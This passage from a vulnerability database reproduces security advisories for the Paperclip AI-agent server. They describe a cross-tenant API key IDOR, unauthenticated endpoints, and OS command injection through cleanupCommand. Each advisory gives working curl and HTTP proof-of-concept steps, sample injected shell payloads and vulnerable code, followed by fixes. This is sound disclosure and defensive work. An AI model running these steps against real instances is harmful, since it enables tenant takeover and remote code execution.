- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added
`assertInstanceAdmin` on `POST /companies/import` and closed the disclosed
chain, but the same root cause (`assertBoard` treated as sufficient where
`assertCompanyAccess` is required on a cross-tenant resource, or where
`assertInstanceAdmin` is required on an instance-global resource) is
present in multiple other handlers. The import fix did not audit sibling
routes. This report is an instance of that same class the prior advisory
did not cover.
Severity is driven by the fact that every precondition is default, the bug
is reachable by any signed-up user with zero memberships, and the stolen
token persists across sessions until manually revoked.
### Suggested Fix
In `server/src/routes/agents.ts`, replace each of the three `/keys` handlers
so they load the target agent first and enforce company access:
```ts
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const key = await svc.createApiKey(id, req.body.name);
...
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req);
const keyId = req.params.keyId as string;
// Look up the key to find its agentId/companyId, then:
const key = await svc.getKeyById(keyId);
if (!key) { res.status(404).json({ error: "Key not found" }); return; }
assertCompanyAccess(req, key.companyId);
await svc.revokeKey(keyId);
res.json({ ok: true });
});
```
While fixing this, audit the sibling lifecycle handlers at lines 1962-2048
(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which
share the same bug.
Defense in depth: consider a code-wide sweep for `assertBoard(req)` calls
that are not immediately followed by `assertCompanyAccess` or
`assertInstanceAdmin` — the 2026.410.0 patch focused on one handler but the
pattern is systemic.
### Patch Status
- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`
digest `sha256:baa9926e...`, commit `b649bd4`
(`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import
bypass fix.
- The bug is still present on that revision. PoC reproduced end-to-end
against an unmodified container.
### Credits
Discovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an
AI-assisted security scanner, during variant-hunt analysis of
GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip
instance. |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-47wq-cj9q-wpmp
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-g5vy-d84b-73bj |
|
| 4 |
| url |
VCID-tb4z-yv32-9ya3 |
| vulnerability_id |
VCID-tb4z-yv32-9ya3 |
| summary |
Paperclip: Cross-tenant agent API key IDOR in `/agents/:id/keys` routes allows full victim-company compromise
## Summary
The `GET`, `POST`, and `DELETE` handlers under `/agents/:id/keys` in the Paperclip control-plane API only call `assertBoard(req)`, which verifies that the caller has a board-type session but does not verify that the caller has access to the company owning the target agent. A board user whose membership is limited to Company A can therefore list, create, or revoke agent API keys for any agent in Company B by supplying the victim agent's UUID in the URL path. The `POST` handler returns the newly-minted token in cleartext, which authenticates subsequent requests as `{type:"agent", companyId:<CompanyB>}`, giving the attacker full agent-level access inside the victim tenant — a complete cross-tenant compromise.
## Details
The three vulnerable routes are defined in `server/src/routes/agents.ts:2050-2087`:
```ts
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- only checks actor.type === "board"
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- same
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
// ... activity log ...
res.status(201).json(key); // returns cleartext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- same
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
if (!revoked) { res.status(404).json({ error: "Key not found" }); return; }
res.json({ ok: true });
});
```
`assertBoard` in `server/src/routes/authz.ts:4-8` is intentionally narrow:
```ts
export function assertBoard(req: Request) {
if (req.actor.type !== "board") {
throw forbidden("Board access required");
}
}
```
It does **not** consult `req.actor.companyIds` or `req.actor.isInstanceAdmin`. Company-scoping is handled by a separate helper, `assertCompanyAccess(req, companyId)` (same file, lines 18-31), which the key-management routes never call.
The service layer is also unauthenticated. In `server/src/services/agents.ts:580-629`:
```ts
createApiKey: async (id: string, name: string) => {
const existing = await getById(id);
if (!existing) throw notFound("Agent not found");
// ... status checks only ...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- copied from the victim agent
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return { id: created.id, name: created.name, token, createdAt: created.createdAt };
},
listKeys: (id: string) => db.select({ ... }).from(agentApiKeys).where(eq(agentApiKeys.agentId, id)),
revokeKey: async (keyId: string) => {
const rows = await db.update(agentApiKeys).set({ revokedAt: new Date() }).where(eq(agentApiKeys.id, keyId)).returning();
return rows[0] ?? null;
},
```
Neither the agent id on `POST`/`GET` nor the key id on `DELETE` is cross-checked against the caller's company membership.
The returned token becomes a full-fledged agent actor in `server/src/middleware/auth.ts:151-169`:
```ts
req.actor = {
type: "agent",
agentId: key.agentId,
companyId: key.companyId, // <-- victim's company
keyId: key.id,
runId: runIdHeader || undefined,
source: "agent_key",
};
```
`assertCompanyAccess` (lines 22-30 of `authz.ts`) only rejects an agent actor when `req.actor.companyId !== <target-companyId>`. Because the token the attacker just minted carries the victim's `companyId`, it sails through every company-access check in Company B — every endpoint that an agent in Company B is authorized to hit.
No router-level mitigation exists: `api.use(agentRoutes(db))` in `server/src/app.ts:155` mounts the router with only `boardMutationGuard` (which enforces read-only for some board sessions, not tenancy). The adjacent `POST /agents/:id/wakeup` route at line 2089 and `POST /agents/:id/heartbeat/invoke` at line 2139 correctly load the agent and call `assertCompanyAccess(req, agent.companyId)` — the key-management routes simply forgot this check. Commit `ac664df8` ("fix(authz): scope import, approvals, activity, and heartbeat routes") hardened several other routes in this same file family but did not touch the three key routes.
Agent UUIDs are routinely exposed to any authenticated board user through org-chart rendering, issue listings, heartbeat/activity payloads, and public references, so the "unguessable id" is not a practical barrier; further, the `DELETE` path only requires a `keyId`, which is returned by the equally-broken `GET /agents/:id/keys` for any target agent.
## PoC
Preconditions: attacker is a board user with membership only in Company A. They know (or learn via the listable agent surfaces) a UUID of an agent in Company B.
Step 1 — Authenticate as the Company-A board user and mint a key for a Company-B agent:
```bash
curl -sS -X POST https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \
-H 'Cookie: <attacker-board-session>' \
-H 'Content-Type: application/json' \
-d '{"name":"pwn"}'
```
Expected (and observed) response:
```json
{"id":"<new-key-id>","name":"pwn","token":"<CLEARTEXT_AGENT_TOKEN>","createdAt":"2026-04-10T..."}
```
The server never consulted the attacker's `companyIds` — only the URL path — and returns the cleartext token whose `companyId` column is set to Company B's id.
Step 2 — Use the stolen agent token as a first-class agent principal in Company B:
```bash
curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID> \
-H 'Authorization: Bearer <CLEARTEXT_AGENT_TOKEN>'
```
`middleware/auth.ts` sets `req.actor = {type:"agent", agentId:<victim>, companyId:<CompanyB>, ...}`. Every route that does `assertCompanyAccess(req, <CompanyB>)` now passes.
Step 3 — The listing and revocation routes are broken in the same way:
```bash
# Enumerate every key on a victim agent (learn keyIds):
curl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \
-H 'Cookie: <attacker-board-session>'
# Revoke a legitimate Company-B key, denying service to the real operator:
curl -sS -X DELETE https://target.example/api/agents/<ANY_AGENT_ID>/keys/<VICTIM_KEY_ID> \
-H 'Cookie: <attacker-board-session>'
```
`revokeKey` only matches on `keyId` (`server/src/services/agents.ts:622-629`), so even the `agentId` in the URL is decorative — the `keyId` alone is the authority.
## Impact
- **Full cross-tenant compromise.** Any board-authenticated user can mint agent API keys inside any other company in the same instance and then act as that agent — executing the workflows, reading the data, and calling every endpoint that agent is authorized for inside the victim tenant.
- **Listing leak.** Key metadata (ids, names, lastUsedAt, revokedAt) for every agent in every tenant is readable by any board user.
- **Cross-tenant denial of service.** The same primitive revokes legitimate agent keys in other companies by `keyId`.
- **Scope change.** The vulnerability is in Company A's scoping checks, but the impact is complete confidentiality/integrity/availability loss within Company B's tenant — a classic scope-change cross-tenant boundary breach.
- The attacker needs only the most minimal valid account on the instance (any company membership with board-type session) and a victim agent UUID, which is routinely exposed through agent listings, issues, heartbeats, and activity feeds.
## Recommended Fix
Require explicit company-access checks on all three routes before touching the service layer. For `POST`/`GET`, load the agent first and authorize against `agent.companyId`. For `DELETE`, load the key row first (or join through it) and authorize against `key.companyId` to avoid leaking via `keyId` guessing.
```ts
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
res.json(await svc.listKeys(id));
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const key = await svc.createApiKey(id, req.body.name);
await logActivity(db, { /* ... */ });
res.status(201).json(key);
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req);
const keyId = req.params.keyId as string;
// Add a getKeyById(keyId) helper that returns { id, agentId, companyId }.
const keyRow = await svc.getKeyById(keyId);
if (!keyRow) {
res.status(404).json({ error: "Key not found" });
return;
}
assertCompanyAccess(req, keyRow.companyId);
await svc.revokeKey(keyId);
res.json({ ok: true });
});
```
Defense-in-depth: push the authorization down into the service layer as well, so any future caller (e.g. a new route, a job, or an RPC) is unable to create, list, or revoke an agent key without proving company access. Add regression tests mirroring the ones added in `ac664df8` for the sibling routes to pin the behavior. |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-3xx2-mqjm-hg9x
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-tb4z-yv32-9ya3 |
|
| 5 |
| url |
VCID-tgtp-32cs-kydc |
| vulnerability_id |
VCID-tgtp-32cs-kydc |
| summary |
Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
## Summary
Several API endpoints in `authenticated` mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
## Steps to Reproduce
### 1. Unauthenticated issue data access
`GET /api/heartbeat-runs/:runId/issues` returns issue data for a heartbeat run with zero authentication. Every other endpoint in `server/src/routes/activity.ts` calls `assertCompanyAccess`, but this one was missed.
```bash
curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> [] (HTTP 200, not 401 or 403)
```
If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.
### 2. Unauthenticated CLI auth challenge creation
`POST /api/cli-auth/challenges` creates a CLI authentication challenge with no actor check at all. The handler at `server/src/routes/access.ts:1638-1659` skips any auth verification.
```bash
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key
```
The response includes a `boardApiToken` that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.
### 3. Unauthenticated agent instruction / system prompt leakage
These endpoints in `server/src/routes/access.ts` require no authentication:
```bash
curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints
curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
# - every API endpoint and its parameters
# - authentication mechanism (env var names, header formats)
# - the complete agent coordination protocol
# - the agent creation/hiring workflow
curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs
```
This hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.
### 4. Unauthenticated deployment configuration disclosure
`GET /api/health` returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.
```bash
curl -s http://<target>:3100/api/health
# {
# "deploymentMode": "authenticated",
# "deploymentExposure": "public",
# "authReady": true,
# "bootstrapStatus": "ready",
# "version": "2026.403.0",
# ...
# }
```
Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.
## Impact
- **Data exposure**: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
- **Reconnaissance**: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
- **Auth bypass stepping stone**: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).
## Suggested Fixes
1. **Add authentication to heartbeat run issues** in `server/src/routes/activity.ts`:
- `GET /api/heartbeat-runs/:runId/issues` -- add `assertCompanyAccess` like every other endpoint in the same file
2. **Add authentication to CLI challenge creation** in `server/src/routes/access.ts`:
- `POST /api/cli-auth/challenges` -- add `assertBoard` at minimum
3. **Add authentication to skill endpoints** in `server/src/routes/access.ts`:
- `GET /api/skills/available`
- `GET /api/skills/index`
- `GET /api/skills/:skillName`
4. **Reduce health endpoint information** -- consider removing `deploymentMode`, `deploymentExposure`, and `version` from the unauthenticated response, or gating the full response behind `assertBoard`
5. Consider a **global auth rejection middleware** for all `/api/*` routes in `authenticated` mode. Currently unauthenticated requests get `actor: { type: "none" }` and pass through to `next()`, relying on each route handler to check individually. A missing check means an open endpoint. Rejecting `type: "none"` at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.
## Contact
Discord: sagi03581
Happy to help verify fixes or provide additional details. |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-xfqj-r5qw-8g4j
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-tgtp-32cs-kydc |
|
| 6 |
| url |
VCID-xmaj-y2hp-cfer |
| vulnerability_id |
VCID-xmaj-y2hp-cfer |
| summary |
Paperclip: OS Command Injection via Execution Workspace cleanupCommand
| Field | Value |
|-------|-------|
| **Affected Software** | Paperclip AI v2026.403.0 |
| **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) |
| **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` |
| **Deployment Modes** | All — `local_trusted` (zero auth), `authenticated` (any company user) |
| **Platforms** | Linux, macOS, Windows (with Git installed) |
| **Date** | 2026-04-13 |
---
## Executive Summary
A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, ["-c", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication.
Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`).
---
## Root Cause Analysis
### Vulnerable Code Path
**`server/src/services/workspace-runtime.ts` (line ~738)**
The `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell:
```typescript
// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
await recordWorkspaceCommandOperation(ws, command, ...);
}
// recordWorkspaceCommandOperation() →
const shell = resolveShell(); // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);
```
### Missing Input Validation
**`server/src/routes/execution-workspaces.ts` — PATCH handler**
The PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation:
```
PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }
```
The `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping.
### Shell Resolution
**`resolveShell()`** returns `process.env.SHELL` or falls back to `"sh"`:
- **Linux/macOS**: `/bin/sh` exists natively — commands execute immediately
- **Windows**: `sh.exe` is available via Git for Windows (`C:\Program Files\Git\bin\sh.exe`) — Paperclip requires Git, so `sh` is present on most installations
---
## Attack Chain
The exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode:
### Step 1 — Find a Company
```http
GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100
```
```json
[{"id": "59e9248b-...", "name": "Hello", ...}]
```
### Step 2 — Find an Execution Workspace
```http
GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100
```
```json
[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]
```
### Step 3 — Reactivate Workspace (if archived/failed)
```http
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "active"}
```
### Step 4 — Inject cleanupCommand (Command Injection)
```http
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}
```
Response confirms storage:
```json
{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}
```
### Step 5 — Trigger RCE (Archive Workspace)
```http
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "archived"}
```
This triggers `cleanupExecutionWorkspaceArtifacts()` which calls:
```
spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])
```
The injected command is executed with the privileges of the Paperclip server process.
---
## Authentication Bypass by Deployment Mode
### `local_trusted` Mode (Default Desktop Install)
Every HTTP request is auto-granted full admin privileges with zero authentication:
```typescript
// middleware/auth.ts
req.actor = {
type: "board",
userId: "local-board",
isInstanceAdmin: true,
source: "local_implicit"
};
```
The `boardMutationGuard` middleware is also bypassed:
```typescript
// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
next();
return;
}
```
### `authenticated` Mode
Any user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.
---
## Proof of Concept — 3 Independent RCE Proofs (Windows 11)
All proofs executed via the automated PoC script `poc_paperclip_rce.py`.
### Proof 1: Arbitrary File Write
**Payload:** `echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"`
**Result:**
```
+================================================+
| VULNERABLE - Arbitrary Code Execution! |
| cleanupCommand was executed on the server |
+================================================+
Proof file: %TEMP%\rce-proof-595c04f7.txt
Content: RCE_PROOF_595c04f7
Platform: Windows 11
```
### Proof 2: System Command Execution (Data Exfiltration)
**Payload:** `systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"`
**Result:**
```
+================================================+
| System command output captured! |
+================================================+
Host Name: [REDACTED]
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.26200 N/A Build 26200
OS Manufacturer: Microsoft Corporation
Registered Owner: [REDACTED]
Product ID: [REDACTED]
System Manufacturer: [REDACTED]
System Model: [REDACTED]
System Type: x64-based PC
... (72 total lines of system information)
```
### Proof 3: GUI Application Launch (calc.exe)
**Payload:** `calc.exe`
**Result:**
```
+================================================+
| calc.exe launched! Check your taskbar. |
| This is server-side code execution. |
+================================================+
```
Windows Calculator was launched on the host system by the Paperclip server process.
---
## Impact Assessment
| Impact | Description |
|--------|-------------|
| **Remote Code Execution** | Arbitrary commands execute as the Paperclip server process |
| **Data Exfiltration** | Full system info, environment variables, files readable by server process |
| **Lateral Movement** | Attacker can install tools, pivot to internal network |
| **Supply Chain** | Workspaces contain source code — attacker can inject backdoors into repositories |
| **Persistence** | Attacker can create scheduled tasks, install reverse shells |
| **Privilege Escalation** | Server may run with elevated privileges; attacker inherits them |
### Attack Scenarios
1. **Desktop user (local_trusted)**: Any process or malicious web page making local HTTP requests to `127.0.0.1:3100` can achieve RCE with zero authentication
2. **Team deployment (authenticated)**: Any employee with Paperclip access can compromise the server and all repositories managed by it
3. **Chained attack**: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network
---
## Remediation Recommendations
### Immediate (Critical)
1. **Input validation**: Reject or sanitize `cleanupCommand` and `teardownCommand` fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.
2. **Command allowlisting**: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., `git clean`, `rm -rf <workspace_dir>`).
3. **Use `execFile` instead of `spawn` with shell**: Replace `spawn(shell, ["-c", command])` with `execFile()` using an argument array, which prevents shell metacharacter injection.
### Short-term
4. **Authorization check**: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.
5. **Separate config fields**: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.
### Long-term
6. **Sandboxed execution**: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.
7. **Audit logging**: Log all modifications to command fields for forensic analysis.
8. **Security review**: Audit all `spawn`, `exec`, and `execFile` calls across the codebase for similar injection patterns.
---
## Proof of Concept Script
## Script
[poc_paperclip_rce.py](https://github.com/user-attachments/files/26697937/poc_paperclip_rce.py)
The full automated PoC is available as `poc_paperclip_rce.py`. It:
- Auto-detects deployment mode and skips auth for `local_trusted`
- Discovers company and workspace automatically
- Reactivates failed/archived workspaces
- On Windows, auto-locates `sh.exe` from Git and restarts Paperclip if needed
- Runs 3 independent RCE proofs: file write, systeminfo, calc.exe
- Works on Linux, macOS, and Windows
**Usage:**
```bash
python poc_paperclip_rce.py --target http://127.0.0.1:3100
``` |
| references |
|
| fixed_packages |
|
| aliases |
GHSA-vr7g-88fq-vhq3
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-xmaj-y2hp-cfer |
|
|